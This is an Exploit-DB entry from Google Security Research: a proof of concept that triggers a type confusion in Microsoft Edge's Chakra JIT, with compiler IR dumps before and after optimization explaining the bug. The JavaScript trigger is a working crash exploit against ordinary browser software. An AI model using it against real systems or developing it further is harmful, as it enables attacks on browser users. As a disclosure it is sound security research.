Exploit-DB #45013
Description: Microsoft Edge Chakra JIT - Type Confusion with Hoisted SetConcatStrMultiItemBE Instructions
Type: dos
Platform: windows
Date: 2018-07-12
Author: Google Security Research

Exploit:
/*
Here's a PoC:
*/

function opt(str) {
    for (let i = 0; i < 200; i++) {
        let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
    }
}

opt('x');
opt(0x1234);

/*
Here's the IR code of the PoC before the global optimization phase:
---------
                       FunctionEntry                                          #
    s18.u64         =  ArgIn_A        prm1<32>.var                            #
    s9.var          =  LdSlot         s32(s18l[53]).var                       #
    s7.var          =  LdSlot         s20(s18l[51]).var                       #
    s8.var          =  LdSlot         s19(s18l[52]).var                       #
    s1[Object].var  =  Ld_A           0x7FFFF47A0000 (GlobalObject)[Object].var #
    s2.var          =  LdC_A_I4       0 (0x0).i32                             #
    s3.var          =  LdC_A_I4       200 (0xC8).i32                          #
    s4.var          =  LdC_A_I4       1 (0x1).i32                             #
    s5[String].var  =  LdStr          0x7FFFF47B9080 ("AAAAAAAAAA")[String].var #
    s6[String].var  =  LdStr          0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var #
    s17.var         =  InitLoopBodyCount                                      #0009 
---------
$L1: >>>>>>>>>>>>>  LOOP TOP  >>>>>>>>>>>>>       Implicit call: no           #000b 


  Line   2: i < 200; i++) {
  Col   21: ^
                       StatementBoundary  #1                                  #000b 
    s17.i32         =  IncrLoopBodyCount  s17.i32                             #000b 
                       BrLt_A         $L3, s8.var, s3.var                     #000b 
                       Br             $L2                                     #0010 
---------
$L3:                                                                          #0013 


  Line   3: let tmp = str.charCodeAt('AAAAAAAAAA' + str + 'BBBBBBBBBB');
  Col    9: ^
                       StatementBoundary  #2                                  #0013 
    s13.var         =  Ld_A           s7.var                                  #0013 
                       CheckFixedFld  s21(s13->charCodeAt)<0,m~=,+-,s?,s?>.var #0016  Bailout: #0016 (BailOutFailedEquivalentFixedFieldTypeCheck)
    s12[ffunc][Object].var = Ld_A     0x7FFFF47972C0 (FunctionObject).var     #
    s22.var         =  StartCall      2 (0x2).i32                             #001a 
    s36.var         =  BytecodeArgOutCapture  s13.var                         #001d 
    s24[String].var =  Conv_PrimStr   s5.var                                  #0020 
    s25[String].var =  Conv_PrimStr   s7.var                                  #0020 
    s26[String].var =  Conv_PrimStr   s6.var                                  #0020 
                       ByteCodeUses   s7                                      #0020 
    s27.var         =  SetConcatStrMultiItemBE  s24[String].var               #0020 
    s28.var         =  SetConcatStrMultiItemBE  s25[String].var, s27.var      #0020 
    s29.var         =  SetConcatStrMultiItemBE  s26[String].var, s28.var      #0020 
    s14[String].var =  NewConcatStrMultiBE  3 (0x3).u32, s29.var              #0020 
    s35.var         =  BytecodeArgOutCapture  s14.var                         #0025 
    arg1(s34)<0>.u64 = ArgOut_A_InlineSpecialized  0x7FFFF47972C0 (FunctionObject).var, arg2(s30)<8>.var #0028 
    arg1(s23)<0>.var = ArgOut_A       s36.var, s22.var                        #0028 
    arg2(s30)<8>.var = ArgOut_A       s35.var, arg1(s23)<0>.var               #0028 
                       ByteCodeUses   s12                                     #0028 
    s31[CanBeTaggedValue_Int_Number].var = CallDirect  String_CharCodeAt.u64, arg1(s34)<0>.u64 #0028 
    s9.var          =  Ld_A           s31.var                                 #0032 


  Line   2: i++) {
  Col   30: ^
                       StatementBoundary  #3                                  #0035 
    s8.var          =  Incr_A         s8.var                                  #0035 
                       Br             $L1                                     #0038 
---------
$L2:                                                                          #003d 


  Line   5: }
  Col    1: ^
                       StatementBoundary  #4                                  #0038 
    s16.i64         =  Ld_I4          61 (0x3D).i64                           #003d 
    s19(s18l[52]).var = StSlot        s8.var                                  #003e 
    s32(s18l[53]).var = StSlot        s9.var                                  #003e 
                       StLoopBodyCount  s17.i32                               #003e 
                       Ret            s16.i64                                 #003e 
----------------------------------------------------------------------------------------

After the global optimization phase:
---------
    FunctionEntry                                          #
    s18.u64         =  ArgIn_A        prm1<32>.var!                           #
    s9[LikelyCanBeTaggedValue_Int].var = LdSlot  s32(s18l[53])[LikelyCanBeTaggedValue_Int].var! #
    s7<s44>[LikelyCanBeTaggedValue_String].var = LdSlot  s20(s18l[51])[LikelyCanBeTaggedValue_String].var! #
    s8[LikelyCanBeTaggedValue_Int].var = LdSlot  s19(s18l[52])[LikelyCanBeTaggedValue_Int].var! #
    s5[String].var  =  LdStr          0x7FFFF47B9080 ("AAAAAAAAAA")[String].var #
    s6[String].var  =  LdStr          0x7FFFF47B90A0 ("BBBBBBBBBB")[String].var #
    s17.var         =  InitLoopBodyCount                                      #0009 
    s42(s8).i32     =  FromVar        s8[LikelyCanBeTaggedValue_Int].var      #      Bailout: #000b (BailOutIntOnly)
    s27.var         =  SetConcatStrMultiItemBE  s5[String].var                #0020 
    s49[String].var =  Conv_PrimStr   s7<s44>[String].var                     #
    s28.var         =  SetConcatStrMultiItemBE  s49[String].var!, s27.var!    #0020